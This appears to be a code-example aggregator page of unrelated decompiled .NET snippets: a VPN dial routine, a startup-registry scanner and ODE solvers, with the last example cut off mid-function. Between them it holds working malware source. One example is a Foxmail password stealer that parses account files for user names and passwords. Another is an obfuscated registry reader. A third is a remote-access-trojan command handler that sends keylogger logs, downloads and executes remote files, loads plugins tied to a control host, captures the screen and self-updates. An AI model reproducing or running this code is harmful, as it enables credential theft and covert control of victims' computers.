Esempio n. 1
0
        public void Connect()
        {
            if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateGet(this.GlobalOBJ, (Type)null, "InvokeRequired", new object[0], (string[])null, (Type[])null, (bool[])null), (object)true, false))
            {
                NewLateBinding.LateCall(this.GlobalOBJ, (Type)null, "BeginInvoke", new object[2]
                {
                    (object)new RasDialUC.d_Connect(this.Connect),
                    (object)new object[0]
                }, (string[])null, (Type[])null, (bool[])null, true);
            }
            else if (this.GetStatus() == 8192)
            {
                RAS_Variable.clsTXT_VPN fnVpn = RAS_Variable.FN_VPN;
                string sText = "You are already connected.";
                fnVpn.TXT(ref sText);
            }
            else
            {
                if (!Information.IsNothing((object)this.tmrMonitorConnected))
                {
                    this.tmrMonitorConnected.Stop();
                    this.tmrMonitorConnected.Elapsed -= new ElapsedEventHandler(this.tmrMonitorConnected_Elapsed);
                    this.tmrMonitorConnected          = (Timer)null;
                }
                if (MyProject.Forms.frmMain_RasDialex.AutoConnectRasDial)
                {
                    this.tmrMonitorConnected           = new Timer();
                    this.tmrMonitorConnected.AutoReset = false;
                    this.tmrMonitorConnected.Elapsed  += new ElapsedEventHandler(this.tmrMonitorConnected_Elapsed);
                    this.tmrMonitorConnected.Interval  = (double)this.WaitConnected;
                    this.tmrMonitorConnected.Start();
                }
                switch (this.VPN_Reboot_Method)
                {
                case 0:
                    if (!this.OptionsOK)
                    {
                        this.ErrorSend(100040);
                        break;
                    }
                    IntPtr lprasDialExtensions;
                    IntPtr lphRasConn;
                    int    num = RasDialUC.RasDial(lprasDialExtensions, (string)null, ref this.MainOptions, 1U, (Delegate)this.del, ref lphRasConn);
                    if (num != 0)
                    {
                        this.ErrorSend(checked (num + 50000));
                        break;
                    }
                    this.MainHeader = lphRasConn;
                    break;

                case 1:
                    try
                    {
                        MyProject.Forms.frmMain_RasDialex.lblMon.Text = "Hard Connect";
                        string  str1    = Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\rasdial.exe";
                        Process process = new Process();
                        process.StartInfo.FileName = str1;
                        string str2 = Strings.Trim(MyProject.Forms.frmMain_RasDialex.txtEntryName.Text) + " " + Strings.Trim(MyProject.Forms.frmMain_RasDialex.txtUserName.Text) + " " + Strings.Trim(MyProject.Forms.frmMain_RasDialex.txtPassword.Text) + " /PHONE:" + Strings.Trim(MyProject.Forms.frmMain_RasDialex.txtPhoneNumber.Text);
                        process.StartInfo.Arguments   = str2;
                        process.StartInfo.WindowStyle = !MyProject.Forms.frmMain_RasDialex.VisibleCMD ? ProcessWindowStyle.Hidden : ProcessWindowStyle.Normal;
                        process.Start();
                        _FUNCTION.clsTXT fn    = _FUNCTION.FN;
                        string           sText = str1 + " " + str2;
                        fn.TXT(ref sText);
                        break;
                    }
                    catch (Exception ex)
                    {
                        ProjectData.SetProjectError(ex);
                        Exception        exception = ex;
                        _FUNCTION.clsTXT fn        = _FUNCTION.FN;
                        string           sText     = "RasDialEx Error: " + exception.Message;
                        fn.TXT(ref sText);
                        this.ErrorSend(100041);
                        ProjectData.ClearProjectError();
                        break;
                    }

                case 2:
                    try
                    {
                        string externalProgram = MyProject.Forms.frmMain_RasDialex.ExternalProgram;
                        new Process()
                        {
                            StartInfo =
                            {
                                FileName    = externalProgram,
                                Arguments   = MyProject.Forms.frmMain_RasDialex.ExternalProgram_ParamConnect,
                                WindowStyle = (!MyProject.Forms.frmMain_RasDialex.VisibleCMD ? ProcessWindowStyle.Hidden : ProcessWindowStyle.Normal)
                            }
                        }.Start();
                        _FUNCTION.clsTXT fn    = _FUNCTION.FN;
                        string           sText = externalProgram + " " + MyProject.Forms.frmMain_RasDialex.ExternalProgram_ParamConnect;
                        fn.TXT(ref sText);
                        break;
                    }
                    catch (Exception ex)
                    {
                        ProjectData.SetProjectError(ex);
                        Exception        exception = ex;
                        _FUNCTION.clsTXT fn        = _FUNCTION.FN;
                        string           sText     = "RasDialEx Error: " + exception.Message;
                        fn.TXT(ref sText);
                        this.ErrorSend(100041);
                        ProjectData.ClearProjectError();
                        break;
                    }
                }
            }
        }
    // Token: 0x060000B1 RID: 177 RVA: 0x0000C48C File Offset: 0x0000A68C
    public static object GetFoxmail()
    {
        string text = string.Empty;
        object result;

        try
        {
            object   obj         = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Classes\\Foxmail.url.mailto\\Shell\\open\\command").GetValue("").ToString();
            object   instance    = obj;
            Type     type        = null;
            string   memberName  = "Remove";
            object[] array       = new object[1];
            object[] array2      = array;
            int      num         = 0;
            object   obj2        = obj;
            object   instance2   = obj2;
            Type     type2       = null;
            string   memberName2 = "LastIndexOf";
            object[] array3      = new object[1];
            object[] array4      = array3;
            int      num2        = 0;
            string   text2       = "Foxmail.exe";
            array4[num2] = text2;
            array2[num]  = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(instance2, type2, memberName2, array3, null, null, null));
            object[] array5        = array;
            object[] arguments     = array5;
            string[] argumentNames = null;
            Type[]   typeArguments = null;
            bool[]   array6        = new bool[]
            {
                true
            };
            object instance3 = NewLateBinding.LateGet(instance, type, memberName, arguments, argumentNames, typeArguments, array6);
            if (array6[0])
            {
                NewLateBinding.LateSetComplex(obj2, null, "LastIndexOf", new object[]
                {
                    text2,
                    RuntimeHelpers.GetObjectValue(array5[0])
                }, null, null, true, false);
            }
            obj = Operators.ConcatenateObject(NewLateBinding.LateGet(instance3, null, "Replace", new object[]
            {
                "\"",
                ""
            }, null, null, null), "Storage\\");
            foreach (string text3 in Directory.GetDirectories(Conversions.ToString(obj), "*@*", SearchOption.TopDirectoryOnly))
            {
                try
                {
                    string   str         = text3.Substring(text3.LastIndexOf("\\") + 1);
                    string   path        = text3 + "\\Accounts\\Account.rec0";
                    object   obj3        = new FileStream(path, FileMode.Open);
                    object   obj4        = Conversions.ToInteger(NewLateBinding.LateGet(obj3, null, "Length", new object[0], null, null, null));
                    object   obj5        = new byte[Conversions.ToInteger(Operators.SubtractObject(obj4, 1)) + 1];
                    bool     flag        = false;
                    string   text4       = "";
                    object   instance4   = obj3;
                    Type     type3       = null;
                    string   memberName3 = "Read";
                    object[] array7      = new object[]
                    {
                        RuntimeHelpers.GetObjectValue(obj5),
                        0,
                        RuntimeHelpers.GetObjectValue(obj4)
                    };
                    object[] arguments2     = array7;
                    string[] argumentNames2 = null;
                    Type[]   typeArguments2 = null;
                    array6 = new bool[]
                    {
                        true,
                        false,
                        true
                    };
                    NewLateBinding.LateCall(instance4, type3, memberName3, arguments2, argumentNames2, typeArguments2, array6, true);
                    if (array6[0])
                    {
                        obj5 = RuntimeHelpers.GetObjectValue(array7[0]);
                    }
                    if (array6[2])
                    {
                        obj4 = RuntimeHelpers.GetObjectValue(array7[2]);
                    }
                    int num3;
                    if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet(obj5, new object[]
                    {
                        0
                    }, null), 208, false))
                    {
                        num3 = 0;
                    }
                    else
                    {
                        num3 = 1;
                    }
                    int num4 = 0;
                    int num5 = Conversions.ToInteger(Operators.SubtractObject(obj4, 1));
                    for (int j = num4; j <= num5; j++)
                    {
                        if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateIndexGet(obj5, new object[]
                        {
                            j
                        }, null), 32, false) && Operators.ConditionalCompareObjectLess(NewLateBinding.LateIndexGet(obj5, new object[]
                        {
                            j
                        }, null), 127, false) && Operators.ConditionalCompareObjectNotEqual(NewLateBinding.LateIndexGet(obj5, new object[]
                        {
                            j
                        }, null), 61, false))
                        {
                            text4 += Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet(obj5, new object[]
                            {
                                j
                            }, null))));
                            string str2 = "";
                            if (text4.Equals("Account") || text4.Equals("POP3Account"))
                            {
                                int num6 = j + 9;
                                if (num3 == 0)
                                {
                                    num6 = j + 2;
                                }
                                while (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateIndexGet(obj5, new object[]
                                {
                                    num6
                                }, null), 32, false) && Operators.ConditionalCompareObjectLess(NewLateBinding.LateIndexGet(obj5, new object[]
                                {
                                    num6
                                }, null), 127, false))
                                {
                                    str2 += Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet(obj5, new object[]
                                    {
                                        num6
                                    }, null))));
                                    num6++;
                                }
                                flag = true;
                                j    = num6;
                            }
                            else if (flag && (text4.Equals("Password") || text4.Equals("POP3Password")))
                            {
                                int num7 = j + 9;
                                if (num3 == 0)
                                {
                                    num7 = j + 2;
                                }
                                string text5 = "";
                                while (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateIndexGet(obj5, new object[]
                                {
                                    num7
                                }, null), 32, false) && Operators.ConditionalCompareObjectLess(NewLateBinding.LateIndexGet(obj5, new object[]
                                {
                                    num7
                                }, null), 127, false))
                                {
                                    text5 += Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet(obj5, new object[]
                                    {
                                        num7
                                    }, null))));
                                    num7++;
                                }
                                if (Operators.CompareString(text, string.Empty, false) == 0)
                                {
                                    text += "Foxmail:\r\n";
                                }
                                text = text + "User:"******"\r\n";
                                text = text + "Pass:"******"\r\n\r\n";
                                break;
                            }
                        }
                        else
                        {
                            text4 = "";
                        }
                    }
                    NewLateBinding.LateCall(obj3, null, "Close", new object[0], null, null, null, true);
                }
                catch (Exception ex)
                {
                }
            }
            if (Operators.CompareString(text, string.Empty, false) != 0)
            {
                text += "\r\n";
            }
            result = text;
        }
        catch (Exception ex2)
        {
        }
        return(result);
    }
Esempio n. 3
0
	// Token: 0x06000190 RID: 400 RVA: 0x00033C00 File Offset: 0x00031E00
	public static string luz(string lvy)
	{
		string text;
		int num4;
		int num5;
		object obj;
		try
		{
			for (;;)
			{
				IL_00:
				int num = 1;
				object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject(<Module>.smethod_strings_decryptor(304664 -> "WScript.Shell")), ""));
				for (;;)
				{
					IL_13E:
					uint num2 = 3040044305u;
					for (;;)
					{
						uint num3;
						switch ((num3 = (num2 ^ 3968014358u)) % 11u)
						{
						case 0u:
							goto IL_152;
						case 1u:
							goto IL_7C;
						case 2u:
							goto IL_70;
						case 4u:
						{
							object instance = objectValue;
							Type type = null;
							string memberName = <Module>.smethod_strings_decryptor(304224 -> "RegRead"));
							object[] array = new object[]
							{
								lvy
							};
							object[] arguments = array;
							string[] argumentNames = null;
							Type[] typeArguments = null;
							bool[] array2 = new bool[]
							{
								true
							};
							object value = NewLateBinding.LateGet(instance, type, memberName, arguments, argumentNames, typeArguments, array2);
							if (array2[0])
							{
								lvy = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(string));
							}
							text = Conversions.ToString(value);
							num2 = 3193670253u;
							continue;
						}
						case 5u:
							goto IL_13E;
						case 6u:
							IL_145:
							num4 = num;
							num2 = 3464943127u;
							continue;
						case 7u:
							goto IL_46;
						case 8u:
							num5 = 1;
							num2 = (num3 * 2051545371u ^ 1263723819u);
							continue;
						case 9u:
							switch (num5)
							{
							case 0:
								break;
							case 1:
								goto IL_46;
							default:
								num2 = (num3 * 3833207169u ^ 1740464875u);
								continue;
							}
							break;
						}
						goto Block_5;
						IL_46:
						int num6 = num4 + 1;
						num4 = 0;
						switch (num6)
						{
						case 0:
							goto IL_154;
						case 1:
							goto IL_00;
						case 2:
							IL_70:
							ProjectData.ClearProjectError();
							num2 = 4148705851u;
							break;
						case 3:
							IL_7C:
							num = 3;
							num2 = 3798194993u;
							break;
						case 4:
							goto IL_152;
						default:
							num2 = 2627601005u;
							break;
						}
					}
				}
			}
			Block_5:
			goto IL_178;
			IL_152:
			goto IL_183;
			IL_154:;
		}
		catch when (endfilter(obj is Exception & num5 != 0 & num4 == 0))
		{
			Exception ex = (Exception)obj2;
			goto IL_145;
		}
		IL_178:
		throw ProjectData.CreateProjectError(-2146828237);
		IL_183:
		string result = text;
		if (num4 != 0)
		{
			ProjectData.ClearProjectError();
		}
		return result;
	}
Esempio n. 4
0
 // Token: 0x06000894 RID: 2196 RVA: 0x000436C0 File Offset: 0x000418C0
 public void detect()
 {
     this.subkeyNames          = Registry.CurrentUser.OpenSubKey(this.keyName).GetSubKeyNames();
     this.valueNames           = Registry.CurrentUser.OpenSubKey(this.keyName).GetValueNames();
     this.ChProgressbar1.Value = 0;
     this.Lv1.Items.Clear();
     this.ChProgressbar1.Maximum = this.valueNames.Length;
     string[] array = this.valueNames;
     checked
     {
         for (int i = 0; i < array.Length; i++)
         {
             string        text          = array[i];
             CHProgressbar chProgressbar = this.ChProgressbar1;
             chProgressbar.Value++;
             ListViewItem listViewItem = new ListViewItem();
             new ListViewItem();
             int num = Strings.InStr(Conversions.ToString(Registry.CurrentUser.OpenSubKey(this.keyName).GetValue(text)), "..", CompareMethod.Binary);
             if (num != 0)
             {
                 object objectValue = RuntimeHelpers.GetObjectValue(Registry.CurrentUser.OpenSubKey(this.keyName).GetValue(text));
                 objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, "replace", new object[]
                 {
                     "\"",
                     ""
                 }, null, null, null));
                 objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, "replace", new object[]
                 {
                     " ",
                     ""
                 }, null, null, null));
                 objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, "replace", new object[]
                 {
                     "..",
                     ""
                 }, null, null, null));
                 FileInfo fileInfo = new FileInfo(Conversions.ToString(objectValue));
                 if (File.Exists(fileInfo.FullName))
                 {
                     listViewItem.Text = fileInfo.Name;
                 }
                 else
                 {
                     listViewItem.Text = "Not found";
                 }
                 if (File.Exists(this.startup + "\\" + text + ".exe"))
                 {
                     listViewItem.SubItems.Add(text + ".exe");
                 }
                 else
                 {
                     listViewItem.SubItems.Add("Not found");
                 }
                 object   arg_23A_0 = listViewItem.SubItems;
                 Type     arg_23A_1 = null;
                 string   arg_23A_2 = "Add";
                 object[] array2    = new object[]
                 {
                     RuntimeHelpers.GetObjectValue(objectValue)
                 };
                 object[] arg_23A_3 = array2;
                 string[] arg_23A_4 = null;
                 Type[]   arg_23A_5 = null;
                 bool[]   array3    = new bool[]
                 {
                     true
                 };
                 NewLateBinding.LateCall(arg_23A_0, arg_23A_1, arg_23A_2, arg_23A_3, arg_23A_4, arg_23A_5, array3, true);
                 if (array3[0])
                 {
                     objectValue = RuntimeHelpers.GetObjectValue(array2[0]);
                 }
                 listViewItem.SubItems.Add(Registry.CurrentUser.OpenSubKey(this.keyName).ToString() + "\\" + text);
                 listViewItem.SubItems.Add(text);
                 listViewItem.ImageIndex = 0;
                 this.Lv1.Items.Add(listViewItem);
             }
         }
         this.Lv1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
         ima.F.sl.Text = "Detected  : " + Conversions.ToString(this.Lv1.Items.Count);
         if (this.Lv1.Items.Count == 0)
         {
             this.Button1.Text = "Scan..";
         }
         else if (this.Lv1.Items.Count == 1)
         {
             this.Button1.Text = "Remove";
         }
         else
         {
             this.Button1.Text = "Remove all";
         }
     }
 }
Esempio n. 5
0
        public static void HandleData(byte[] b)
        {
            string[] array = Strings.Split(BytesToString(ref b), splitter, -1, CompareMethod.Binary);
            checked
            {
                try
                {
                    string left = array[0];
                    if (Operators.CompareString(left, "ll", false) == 0)
                    {
                        isConnected = false;
                    }
                    else if (Operators.CompareString(left, "kl", false) == 0)
                    {
                        Send("kl" + splitter + StringToBase64(ref keylogger.Logs));
                    }
                    else if (Operators.CompareString(left, "prof", false) == 0)
                    {
                        string left2 = array[1];
                        if (Operators.CompareString(left2, "~", false) == 0)
                        {
                            SaveValueOnRegistry(array[2], array[3], RegistryValueKind.String);
                        }
                        else if (Operators.CompareString(left2, "!", false) == 0)
                        {
                            SaveValueOnRegistry(array[2], array[3], RegistryValueKind.String);
                            Send(Conversions.ToString(Operators.ConcatenateObject("getvalue" + splitter + array[1] + splitter, GetValueFromRegistry(array[1], ""))));
                        }
                        else if (Operators.CompareString(left2, "@", false) == 0)
                        {
                            DeleteValueFromRegistry(array[2]);
                        }
                    }
                    else
                    {
                        if (Operators.CompareString(left, "rn", false) == 0)
                        {
                            byte[] bytes;
                            if (array[2][0] == '\u001f')
                            {
                                try
                                {
                                    MemoryStream memoryStream = new MemoryStream();
                                    int          length       = (array[0] + splitter + array[1] + splitter).Length;
                                    memoryStream.Write(b, length, b.Length - length);
                                    bytes = DecompressGzip(memoryStream.ToArray());
                                    goto IL_20B;
                                }
                                catch
                                {
                                    Send("MSG" + splitter + "Execute ERROR");
                                    Send("bla");
                                    return;
                                }
                            }
                            WebClient webClient = new WebClient();
                            try
                            {
                                bytes = webClient.DownloadData(array[2]);
                            }
                            catch
                            {
                                Send("MSG" + splitter + "Download ERROR");
                                Send("bla");
                                return;
                            }
IL_20B:
                            Send("bla");
                            string text = Path.GetTempFileName() + "." + array[1];
                            try
                            {
                                File.WriteAllBytes(text, bytes);
                                Process.Start(text);
                                Send("MSG" + splitter + "Executed As " + new FileInfo(text).Name);
                                return;
                            }
                            catch (Exception ex)
                            {
                                Send("MSG" + splitter + "Execute ERROR " + ex.Message);
                                ProjectData.ClearProjectError();
                                return;
                            }
                        }
                        if (Operators.CompareString(left, "inv", false) == 0)
                        {
                            byte[] array2 = (byte[])GetValueFromRegistry(array[1], new byte[0]);
                            if (array[3].Length < 10 & array2.Length == 0)
                            {
                                Send(string.Concat(new string[]
                                {
                                    "pl",
                                    splitter,
                                    array[1],
                                    splitter,
                                    Conversions.ToString(1)
                                }));
                            }
                            else
                            {
                                if (array[3].Length > 10)
                                {
                                    MemoryStream memoryStream2 = new MemoryStream();
                                    int          length2       = string.Concat(new string[]
                                    {
                                        array[0],
                                        splitter,
                                        array[1],
                                        splitter,
                                        array[2],
                                        splitter
                                    }).Length;
                                    memoryStream2.Write(b, length2, b.Length - length2);
                                    array2 = DecompressGzip(memoryStream2.ToArray());
                                    SaveValueOnRegistry(array[1], array2, RegistryValueKind.Binary);
                                }
                                Send(string.Concat(new string[]
                                {
                                    "pl",
                                    splitter,
                                    array[1],
                                    splitter,
                                    Conversions.ToString(0)
                                }));
                                object objectValue = RuntimeHelpers.GetObjectValue(Plugin(array2, "A"));
                                NewLateBinding.LateSet(objectValue, null, "h", new object[]
                                {
                                    host
                                }, null, null);
                                NewLateBinding.LateSet(objectValue, null, "p", new object[]
                                {
                                    port
                                }, null, null);
                                NewLateBinding.LateSet(objectValue, null, "osk", new object[]
                                {
                                    array[2]
                                }, null, null);
                                NewLateBinding.LateCall(objectValue, null, "start", new object[0], null, null, null, true);
                                while (!Conversions.ToBoolean(Operators.OrObject(!isConnected, Operators.CompareObjectEqual(NewLateBinding.LateGet(objectValue, null, "Off", new object[0], null, null, null), true, false))))
                                {
                                    Thread.Sleep(1);
                                }
                                NewLateBinding.LateSet(objectValue, null, "off", new object[]
                                {
                                    true
                                }, null, null);
                            }
                        }
                        else if (Operators.CompareString(left, "ret", false) == 0)
                        {
                            byte[] array3 = (byte[])GetValueFromRegistry(array[1], new byte[0]);
                            if (array[2].Length < 10 & array3.Length == 0)
                            {
                                Send(string.Concat(new string[]
                                {
                                    "pl",
                                    splitter,
                                    array[1],
                                    splitter,
                                    Conversions.ToString(1)
                                }));
                            }
                            else
                            {
                                if (array[2].Length > 10)
                                {
                                    MemoryStream memoryStream3 = new MemoryStream();
                                    int          length3       = (array[0] + splitter + array[1] + splitter).Length;
                                    memoryStream3.Write(b, length3, b.Length - length3);
                                    array3 = DecompressGzip(memoryStream3.ToArray());
                                    SaveValueOnRegistry(array[1], array3, RegistryValueKind.Binary);
                                }
                                Send(string.Concat(new string[]
                                {
                                    "pl",
                                    splitter,
                                    array[1],
                                    splitter,
                                    Conversions.ToString(0)
                                }));
                                object   objectValue2 = RuntimeHelpers.GetObjectValue(Plugin(array3, "A"));
                                string[] array4       = new string[5];
                                array4[0] = "ret";
                                array4[1] = splitter;
                                array4[2] = array[1];
                                array4[3] = splitter;
                                string[] arg_658_0 = array4;
                                int      arg_658_1 = 4;
                                string   text2     = Conversions.ToString(NewLateBinding.LateGet(objectValue2, null, "GT", new object[0], null, null, null));
                                arg_658_0[arg_658_1] = StringToBase64(ref text2);
                                Send(string.Concat(array4));
                            }
                        }
                        else if (Operators.CompareString(left, "CAP", false) == 0)
                        {
                            int       arg_6A9_0 = Screen.PrimaryScreen.Bounds.Width;
                            Rectangle bounds    = Screen.PrimaryScreen.Bounds;
                            Bitmap    bitmap    = new Bitmap(arg_6A9_0, bounds.Height, PixelFormat.Format16bppRgb555);
                            Graphics  graphics  = Graphics.FromImage(bitmap);
                            Graphics  arg_6DB_0 = graphics;
                            int       arg_6DB_1 = 0;
                            int       arg_6DB_2 = 0;
                            int       arg_6DB_3 = 0;
                            int       arg_6DB_4 = 0;
                            Size      size      = new Size(bitmap.Width, bitmap.Height);
                            arg_6DB_0.CopyFromScreen(arg_6DB_1, arg_6DB_2, arg_6DB_3, arg_6DB_4, size, CopyPixelOperation.SourceCopy);
                            try
                            {
                                Cursor   arg_702_0 = Cursors.Default;
                                Graphics arg_702_1 = graphics;
                                Point    arg_6FB_1 = Cursor.Position;
                                size   = new Size(32, 32);
                                bounds = new Rectangle(arg_6FB_1, size);
                                arg_702_0.Draw(arg_702_1, bounds);
                            }
                            catch (Exception expr_709)
                            {
                                ProjectData.SetProjectError(expr_709);
                                ProjectData.ClearProjectError();
                            }
                            graphics.Dispose();
                            Bitmap bitmap2 = new Bitmap(Conversions.ToInteger(array[1]), Conversions.ToInteger(array[2]));
                            graphics = Graphics.FromImage(bitmap2);
                            graphics.DrawImage(bitmap, 0, 0, bitmap2.Width, bitmap2.Height);
                            graphics.Dispose();
                            MemoryStream memoryStream4 = new MemoryStream();
                            string       text2         = "CAP" + splitter;
                            b = StringToBytes(ref text2);
                            memoryStream4.Write(b, 0, b.Length);
                            MemoryStream memoryStream5 = new MemoryStream();
                            bitmap2.Save(memoryStream5, ImageFormat.Jpeg);
                            string left3 = CreateHash(memoryStream5.ToArray());
                            if (Operators.CompareString(left3, lastCapturedImage, false) != 0)
                            {
                                lastCapturedImage = left3;
                                memoryStream4.Write(memoryStream5.ToArray(), 0, (int)memoryStream5.Length);
                            }
                            else
                            {
                                memoryStream4.WriteByte(0);
                            }
                            Send(memoryStream4.ToArray());
                            memoryStream4.Dispose();
                            memoryStream5.Dispose();
                            bitmap.Dispose();
                            bitmap2.Dispose();
                        }
                        else if (Operators.CompareString(left, "un", false) == 0)
                        {
                            string left4 = array[1];
                            if (Operators.CompareString(left4, "~", false) == 0)
                            {
                                Uninstall();
                            }
                            else if (Operators.CompareString(left4, "!", false) == 0)
                            {
                                try
                                {
                                    stubMutex.Close();
                                }
                                catch { }
                                Environment.Exit(0);
                            }
                            else if (Operators.CompareString(left4, "@", false) == 0)
                            {
                                Process.Start(currentAssemblyFileInfo.FullName);
                                try
                                {
                                    stubMutex.Close();
                                }
                                catch { }
                                Environment.Exit(0);
                            }
                        }
                        else if (Operators.CompareString(left, "up", false) == 0)
                        {
                            byte[] bytes2 = null;
                            if (array[1][0] == '\u001f')
                            {
                                try
                                {
                                    MemoryStream memoryStream6 = new MemoryStream();
                                    int          length4       = (array[0] + splitter).Length;
                                    memoryStream6.Write(b, length4, b.Length - length4);
                                    bytes2 = DecompressGzip(memoryStream6.ToArray());
                                    goto IL_97B;
                                }
                                catch
                                {
                                    Send("MSG" + splitter + "Update ERROR");
                                    Send("bla");
                                    return;
                                }
                            }
                            WebClient webClient2 = new WebClient();
                            try
                            {
                                bytes2 = webClient2.DownloadData(array[1]);
                            }
                            catch
                            {
                                Send("MSG" + splitter + "Update ERROR");
                                Send("bla");
                                return;
                            }
IL_97B:
                            Send("bla");
                            string text3 = Path.GetTempFileName() + ".exe";
                            try
                            {
                                Send("MSG" + splitter + "Updating To " + new FileInfo(text3).Name);
                                Thread.Sleep(2000);
                                File.WriteAllBytes(text3, bytes2);
                                Process.Start(text3, "..");
                            }
                            catch (Exception ex2)
                            {
                                Send("MSG" + splitter + "Update ERROR " + ex2.Message);
                                return;
                            }
                            Uninstall();
                        }
                        else if (Operators.CompareString(left, "Ex", false) == 0)
                        {
                            if (currentPlugin == null)
                            {
                                Send("PLG");
                                int num = 0;
                                while (!(currentPlugin != null | num == 20 | !isConnected))
                                {
                                    num++;
                                    Thread.Sleep(1000);
                                }
                                if (currentPlugin == null | !isConnected)
                                {
                                    return;
                                }
                            }
                            object   arg_ABB_0 = currentPlugin;
                            Type     arg_ABB_1 = null;
                            string   arg_ABB_2 = "ind";
                            object[] array5    = new object[]
                            {
                                b
                            };
                            object[] arg_ABB_3 = array5;
                            string[] arg_ABB_4 = null;
                            Type[]   arg_ABB_5 = null;
                            bool[]   array6    = new bool[]
                            {
                                true
                            };
                            NewLateBinding.LateCall(arg_ABB_0, arg_ABB_1, arg_ABB_2, arg_ABB_3, arg_ABB_4, arg_ABB_5, array6, true);
                            if (array6[0])
                            {
                                b = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array5[0]), typeof(byte[]));
                            }
                        }
                        else if (Operators.CompareString(left, "PLG", false) == 0)
                        {
                            MemoryStream memoryStream7 = new MemoryStream();
                            int          length5       = (array[0] + splitter).Length;
                            memoryStream7.Write(b, length5, b.Length - length5);
                            currentPlugin = RuntimeHelpers.GetObjectValue(Plugin(DecompressGzip(memoryStream7.ToArray()), "A"));
                            NewLateBinding.LateSet(currentPlugin, null, "H", new object[]
                            {
                                host
                            }, null, null);
                            NewLateBinding.LateSet(currentPlugin, null, "P", new object[]
                            {
                                port
                            }, null, null);
                            NewLateBinding.LateSet(currentPlugin, null, "c", new object[]
                            {
                                tcpSocket
                            }, null, null);
                        }
                    }
                }
                catch (Exception ex3)
                {
                    if (array.Length > 0 && (Operators.CompareString(array[0], "Ex", false) == 0 | Operators.CompareString(array[0], "PLG", false) == 0))
                    {
                        currentPlugin = null;
                    }
                    try
                    {
                        Send(string.Concat(new string[]
                        {
                            "ER",
                            splitter,
                            array[0],
                            splitter,
                            ex3.Message
                        }));
                    }
                    catch { }
                    ProjectData.ClearProjectError();
                }
            }
        }
Esempio n. 6
0
        private void EJL2M(int Fidx)
        {
            Array instance = Array.CreateInstance(typeof(double), 12);
            int   num1     = 1;

            do
            {
                NewLateBinding.LateIndexSet((object)instance, new object[2]
                {
                    (object)num1,
                    (object)this.Y0
                }, (string[])null);
                ++num1;
            }while (num1 <= 11);
            double num2 = this.EPS / 3.0;
            int    num3;

            do
            {
                double x0   = this.X0;
                double num4 = this.Y0;
                this.N = 2 * this.N;
                double num5 = (this.XN - this.X0) / (double)this.N;
                double num6 = num5 / 2.0;
                int    num7 = (int)Math.Round((double)this.N / 10.0);
                int    num8 = 0;
                num3 = 0;
                int num9 = 1;
                int n    = this.N;
                for (int index = 1; index <= n; ++index)
                {
                    ++num8;
                    double X = x0;
                    x0 += num5;
                    double Y1 = num4;
                    switch (Fidx)
                    {
                    case 4:
                        double Y2 = Y1 + num6 * this.calcF4(X, Y1);
                        num4 = Y1 + num5 * this.calcF4(X + num6, Y2);
                        break;

                    case 6:
                        double Y3 = Y1 + num6 * this.calcF6(X, Y1);
                        num4 = Y1 + num5 * this.calcF6(X + num6, Y3);
                        break;

                    case 11:
                        double Y4 = Y1 + num6 * this.calcF11(X, Y1);
                        num4 = Y1 + num5 * this.calcF11(X + num6, Y4);
                        break;

                    case 15:
                        double Y5 = Y1 + num6 * this.calcF15(X, Y1);
                        num4 = Y1 + num5 * this.calcF15(X + num6, Y5);
                        break;
                    }
                    if (num8 == num7)
                    {
                        num8 = 0;
                        ++num9;
                        if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet((object)null, typeof(Math), "Abs", new object[1]
                        {
                            Operators.SubtractObject(NewLateBinding.LateIndexGet((object)instance, new object[1]
                            {
                                (object)num9
                            }, (string[])null), (object)num4)
                        }, (string[])null, (Type[])null, (bool[])null), (object)num2, false))
                        {
                            ++num3;
                        }
                        NewLateBinding.LateIndexSet((object)instance, new object[2]
                        {
                            (object)num9,
                            (object)num4
                        }, (string[])null);
                    }
                }
            }while (num3 > 0 & this.N < 11);
            int num10 = 1;

            do
            {
                NewLateBinding.LateIndexSet((object)this.Y, new object[2]
                {
                    (object)num10,
                    RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object)instance, new object[1]
                    {
                        (object)num10
                    }, (string[])null))
                }, (string[])null);
                ++num10;
            }while (num10 <= 11);
        }
Esempio n. 7
0
        private void RUNKU4(int Fidx)
        {
            Array instance = Array.CreateInstance(typeof(double), 12);
            int   num1     = 1;

            do
            {
                NewLateBinding.LateIndexSet((object)instance, new object[2]
                {
                    (object)num1,
                    (object)this.Y0
                }, (string[])null);
                ++num1;
            }while (num1 <= 11);
            double num2 = this.EPS / 15.0;
            int    num3;

            do
            {
                double x0   = this.X0;
                double num4 = this.Y0;
                this.N = 2 * this.N;
                double num5 = (this.XN - this.X0) / (double)this.N;
                double num6 = num5 / 2.0;
                double num7 = num5 / 6.0;
                int    num8 = (int)Math.Round((double)this.N / 10.0);
                int    num9 = 0;
                num3 = 0;
                int num10 = 1;
                int n     = this.N;
                for (int index = 1; index <= n; ++index)
                {
                    ++num9;
                    double X1 = x0;
                    double X2 = X1 + num6;
                    x0 += num5;
                    double Y = num4;
                    double num11;
                    double num12;
                    double num13;
                    double num14;
                    switch (Fidx)
                    {
                    case 1:
                        num11 = this.calcF1(X1, Y);
                        num12 = this.calcF1(X2, Y + num11 * num6);
                        num13 = this.calcF1(X2, Y + num12 * num6);
                        num14 = this.calcF1(x0, Y + num13 * num5);
                        break;

                    case 8:
                        num11 = this.calcF8(X1, Y);
                        num12 = this.calcF8(X2, Y + num11 * num6);
